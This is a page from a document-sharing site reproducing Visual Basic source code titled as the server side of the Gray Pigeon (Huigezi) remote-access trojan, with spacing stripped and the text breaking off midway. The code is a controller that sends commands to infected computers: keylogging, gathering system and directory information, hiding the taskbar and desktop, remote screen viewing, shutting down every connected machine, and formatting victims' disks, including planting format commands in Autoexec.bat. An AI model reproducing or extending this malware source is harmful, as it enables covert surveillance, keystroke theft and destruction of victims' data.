《灰鸽子》服务端源代码.docx
《《灰鸽子》服务端源代码.docx》由会员分享，可在线阅读，更多相关《《灰鸽子》服务端源代码.docx（43页珍藏版）》请在冰豆网上搜索。
《灰鸽子》服务端源代码
PrivateTypeNOTIFYICONDATA
cbSizeAsLong
hwndAsLong
uIdAsLong
uFlagsAsLong
ucallbackMessageAsLong
hIconAsLong
szTipAsString*64'指向后显示文本长度
EndType
PrivateConstNIM_ADD=&H0
PrivateConstNIM_MODIFY=&H1
PrivateConstNIM_DELETE=&H2
PrivateConstWM_MOUSEMOVE=&H200
PrivateConstNIF_MESSAGE=&H1
PrivateConstNIF_ICON=&H2
PrivateConstNIF_TIP=&H4
PrivateConstWM_LBUTTONDBLCLK=&H203
PrivateConstWM_LBUTTONDOWN=&H201
PrivateConstwm_lbuttonup=&H202
PrivateConstWM_RBUTTONDBLCLK=&H206
PrivateConstWM_RBUTTONDOWN=&H204
PrivateConstWM_RBUTTONUP=&H205
PrivateDeclareFunctionShell_NotifyIconLib"shell32"Alias"Shell_NotifyIconA"（ByValdwMessageAsLong,pnidAsNOTIFYICONDATA）AsBoolean
DimTAsNOTIFYICONDATA
PublicStrtimerAsString
DimButoAsString
DimScmnumberAsInteger
DimScmlb1AsLong
DimlconAsBoolean
DimBuuseAsBoolean
PrivateSubAbscm_Click（）
Frmabout.Show
EndSub
PrivateSubBox1_Change（）
WithBox1
'.SetFocus'选
.SelStart=0
.SelLength=Len（.Text）
EndWith
EndSub
PrivateSubBox2_KeyPress（keyasciiAsInteger）
OnErrorGoTosc
Ifkeyascii=13Then
IfButo<>"UseButton"ThenGoToTobuto
IfBox2.Text=""Then
MsgBox"发送内容不能空！
",64,"提示"
Box2.Text=""
Box2.SetFocus
SendKeys"{backspace}"
Else
CallSendinfor（"Msgwins"&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box2.Text&vbCrLf&vbCrLf）
Box1.Text=Box1.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box2.Text&vbCrLf&vbCrLf
Box2.Text=""
Box2.SetFocus
SendKeys"{backspace}"
Scmtxt1.Text=Scmtxt1.Text&vbCrLf&"信息发送成功！
"&"（"&Time$&"）"&vbCrLf
EndIf
a1=2
Ifa1=2Then
Else
sc:
MsgBox"（"&Scmnet1（0）.LocalHostName&"）"&"该用户可能已经下了线！
",64,"提示"
'Command1.Enabled=False
'Box2.Text=""
Box2.SetFocus
SendKeys"{backspace}"
EndIf
EndIf
Tobuto:
EndSub
PrivateSubBox5_Change（）
WithBox5
'.SetFocus'选
.SelStart=0
.SelLength=Len（.Text）
EndWith
EndSub
PrivateSubBox6_KeyPress（keyasciiAsInteger）
OnErrorGoTosc
Ifkeyascii=13Then
IfButo<>"UseButton"ThenGoToTobuto
IfBox6.Text=""Then
MsgBox"发送内容不能空！
",64,"提示"
Box6.Text=""
Box6.SetFocus
SendKeys"{backspace}"
Else
Fori=1ToUBound（Sac）
IfNoti=indexThen
IfSac（i）Then
Scmnet1（i）.SendData"Messgif"&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
DoEvents
EndIf
EndIf
Nexti
Box5.Text=Box5.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
Box6.Text=""
Box6.SetFocus
SendKeys"{backspace}"
Scmtxt1.Text=Scmtxt1.Text&vbCrLf&"聊天室信息发送成功！
"&"（"&Time$&"）"&vbCrLf
EndIf
a1=2
Ifa1=2Then
Else
sc:
'MsgBox"没有用户在线！
",64,"提示"
Box5.Text=Box5.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
Box6.Text=""
Box6.SetFocus
SendKeys"{backspace}"
Scmtxt1.Text=Scmtxt1.Text&vbCrLf&"聊天室信息发送成功！
"&"（"&Time$&"）"&vbCrLf
EndIf
EndIf
Tobuto:
EndSub
PrivateSubClcu_Click（）
OnErrorResumeNext
IfScmlb1>"0"Then
IfMsgBox（"你确定要关闭所有上线用户的计算机吗！
",vbYesNo,"提示"）=vbYesThen
Fori=1ToUBound（Sac）
IfNoti=indexThen
IfSac（i）Then
Scmnet1（i）.SendData"CLOSECU"
DoEvents
EndIf
EndIf
Nexti
EndIf
Else
MsgBox"还没有主机上线！
",64,"提示"
EndIf
EndSub
PrivateSubClosecon_Click（）
OnErrorResumeNext
IfConhosn<>""Then
Conhosn=""
Scmsta1.Panels（3）.Text="主机名称:
"&"没找到"
Scmsta1.Panels
（2）.Text="连接状态:
"&"已关闭连接"
Scmsta1.Panels（4）.Text="提示:
"&"已关闭连接"
EndIf
IfScmnet2.State=7Then
Scmnet2.SendData"Closeco"
EndIf
EndSub
PrivateSubCombo2_Click（）
Dos1.Text=Combo2.Text
EndSub
PrivateSubCommand10_Click（）
CallSendinfor（"Getsysf"）
EndSub
PrivateSubCommand11_Click（）
CallSendinfor（"Getdirs"）
EndSub
PrivateSubCommand12_Click（）
OnErrorGoToDlgerr
Dlg1.filename="获取主机信息记录"
Dlg1.Filter="（*.txt）|*.txt|"
Dlg1.ShowSave
OpenDlg1.filenameForOutputAs#1
Print#1,Box4.Text
Close#1
MsgBox"已成功保存到:
"+Dlg1.filename,64,"提示"
ExitSub
Dlgerr:
EndSub
PrivateSubCommand13_Click（）
CallSendinfor（"Keybinf"）
EndSub
PrivateSubCommand14_Click（）
Box3.Text=""
EndSub
PrivateSubCommand15_Click（）
OnErrorGoToDlgerr
Dlg1.filename="键盘操作信息记录"
Dlg1.Filter="（*.txt）|*.txt|"
Dlg1.ShowSave
OpenDlg1.filenameForOutputAs#1
Print#1,Box3.Text
Close#1
MsgBox"已成功保存到:
"&Dlg1.filename,64,"提示"
ExitSub
Dlgerr:
EndSub
PrivateSubCommand16_Click（）
CallSendinfor（"Msgbox1"&Text1.Text）
EndSub
PrivateSubCommand17_Click（）
CallCombo_m
EndSub
PrivateSubCommand18_Click（）
OnErrorGoTosc
IfBox2.Text=""Then
MsgBox"发送内容不能空！
",64,"提示"
Else
CallSendinfor（"Msgwins"&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box2.Text&vbCrLf&vbCrLf）
Box1.Text=Box1.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box2.Text&vbCrLf&vbCrLf
Box2.Text=""
Scmtxt1.Text=Scmtxt1.Text&vbCrLf&"信息发送成功！
"&"（"&Time$&"）"&vbCrLf
EndIf
sc:
EndSub
PrivateSubCommand19_Click（）
Box1.Text=""
Scmtxt1.Text=Scmtxt1.Text+vbCrLf+"清空内容成功！
"+"（"+Time$+"）"+vbCrLf
EndSub
PrivateSubCommand2_Click（）
OnErrorResumeNext
'List1.Clear
Fori=1ToUBound（Sac）
IfNoti=indexThen
IfSac（i）Then
Scmnet1（i）.Close
DoEvents
EndIf
EndIf
Nexti
EndSub
PrivateSubCommand20_Click（）
OnErrorGoToDlgerr
Dlg1.filename="聊天信息记录"
Dlg1.Filter="（*.txt）|*.txt|"
Dlg1.ShowSave
OpenDlg1.filenameForOutputAs#1
Print#1,Box1.Text
Close#1
MsgBox"已成功保存到:
"&Dlg1.filename,64,"提示"
ExitSub
Dlgerr:
EndSub
PrivateSubCommand21_Click（）
OnErrorGoTosc
IfBox6.Text=""Then
MsgBox"发送内容不能空！
",64,"提示"
Else
Fori=1ToUBound（Sac）
IfNoti=indexThen
IfSac（i）Then
Scmnet1（i）.SendData"Messgim"&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
DoEvents
EndIf
EndIf
Nexti
Box5.Text=Box5.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
Box6.Text=""
Scmtxt1.Text=Scmtxt1.Text&vbCrLf&"聊天室信息发送成功！
"&"（"&Time$&"）"&vbCrLf
EndIf
a1=2
Ifa1=2Then
Else
sc:
'MsgBox"没有用户在线！
",64,"提示"
Box5.Text=Box5.Text&"（"&Time$&"）"&Scmnet1（0）.LocalHostName&":
"&vbCrLf&Box6.Text&vbCrLf&vbCrLf
Box6.Text=""
EndIf
EndSub
PrivateSubCommand22_Click（）
Box5.Text=""
Scmtxt1.Text=Scmtxt1.Text+vbCrLf+"清空内容成功！
"+"（"+Time$+"）"+vbCrLf
EndSub
PrivateSubCommand23_Click（）
OnErrorGoToDlgerr
Dlg1.filename="聊天室信息记录"
Dlg1.Filter="（*.txt）|*.txt|"
Dlg1.ShowSave
OpenDlg1.filenameForOutputAs#1
Print#1,Box5.Text
Close#1
MsgBox"已成功保存到:
"&Dlg1.filename,64,"提示"
ExitSub
Dlgerr:
EndSub
PrivateSubCommand26_Click（）
CallSendinfor（"Sabeep1"&Text18.Text）
EndSub
PrivateSubCommand27_Click（）
DimFt1AsLong
Dima1AsLong,b1AsLong
OnErrorGoToBeeperr
Ft1=Text18.Text
DoWhileFt1>0
a1=CLng（Text19.Text）'频率
b1=CLng（Text20.Text）'长度
APIBeepa1,b1
Ft1=Ft1-1
Sleep200
Loop
ExitSub
Beeperr:
EndSub
PrivateSubCommand28_Click（）
CallSendinfor（"Showtas"）
EndSub
PrivateSubCommand29_Click（）
CallSendinfor（"Hidestc"）
EndSub
PrivateSubCommand3_Click（）
CallSendinfor（"Hidedes"）
EndSub
PrivateSubCommand30_Click（）
CallSendinfor（"Showstc"）
EndSub
PrivateSubCommand31_Click（）
CallSendinfor（"Wallpap"&"F:
\星子行开发工程\星子行（开发）\客户端\1.JPG"）
EndSub
PrivateSubCommand32_Click（）
CallSendinfor（"Delwall"）
EndSub
PrivateSubCommand33_Click（）
IfOption4.Value=FalseAndOption5.Value=FalseAndOption6.Value=FalseThen
Rscreen.Color1=1
ElseIfOption4.Value=TrueThen
Rscreen.Color1=0
ElseIfOption5.Value=TrueThen
Rscreen.Color1=1
ElseIfOption6.Value=TrueThen
Rscreen.Color1=2
Else
EndIf
WithRscreen.Scmnet5
.Close
.LocalPort="8000"
.Listen
EndWith
CallSendinfor（"Portfo2"）
EndSub
PrivateSubCommand34_Click（）
Rscreen.udp6="8823"
Rscreen.udp7="8824"
Rscreen.Scmnet6.Close
Rscreen.Scmnet7.Close
CallSendinfor（"Udpport"&Rscreen.udp6）
EndSub
PrivateSubCommand4_Click（）
CallSendinfor（"Showdes"）
EndSub
PrivateSubCommand40_Click（）
IfConhosn<>""Then
''''''''''''''''''''''''''''''''''''''''''''''
IfMsgBox（"请注意！
此操作存在违法行为,可能带来严重损失和后果！
"+vbCrLf+"造成一切后果和损失请自行负责,与本公司一切联系无关！
"+vbCrLf+"请慎重考虑再使用！
"+vbCrLf+"是否进行格式化？
"+vbCrLf+"格式化请按“是”"+vbCrLf+"不格式化请按“否”",vbYesNo,"警告"）=vbYesThen'格式化
IfCombo3.Text<>"磁盘"Then
IfOption7.Value=TrueThen
CallSendinfor（"Formatc"&Combo3.Text）
ElseIfOption8.Value=TrueThen
CallSendinfor（"Formatd"&Combo3.Text）
Else
MsgBox"请确定格式化的方式！
",64,"提示"
EndIf
Else
MsgBox"请选择一个磁盘！
",64,"提示"
EndIf
Else'格式化
EndIf'格式化
''''''''''''''''''''''''''''''''''''''''''''''''''''''
Else
MsgBox"还没连接主机！
",64,"提示"
EndIf
EndSub
PrivateSubCommand41_Click（）
IfConhosn<>""Then
''''''''''''''''''''''''''''''''''''''''''''''''''''
IfOption7.Value=TrueThen
CallSendinfor（"Wriautf"）
Scmtxt1.Text=Scmtxt1.Text+vbCrLf+"已发送快速格式化命令种子:
Autoexec.bat"+"（"+Time$+"）"+vbCrLf
ElseIfOption8.Value=TrueThen
CallSendinfor（"Wriautg"）
Scmtxt1.Text=Scmtxt1.Text+vbCrLf+"已发送完全格式化命令种子:
Autoexec.bat"+"（"+Time$+"）"+vbCrLf
Else
MsgBox"请确定种下格式化的方式！
",64,"提示"
EndIf
''''''''''''''''''''''''''''''''''''''''''''''''''''
Else
MsgBox"还没连接主机！
",64,"提示"
EndIf
EndSub
升级会员 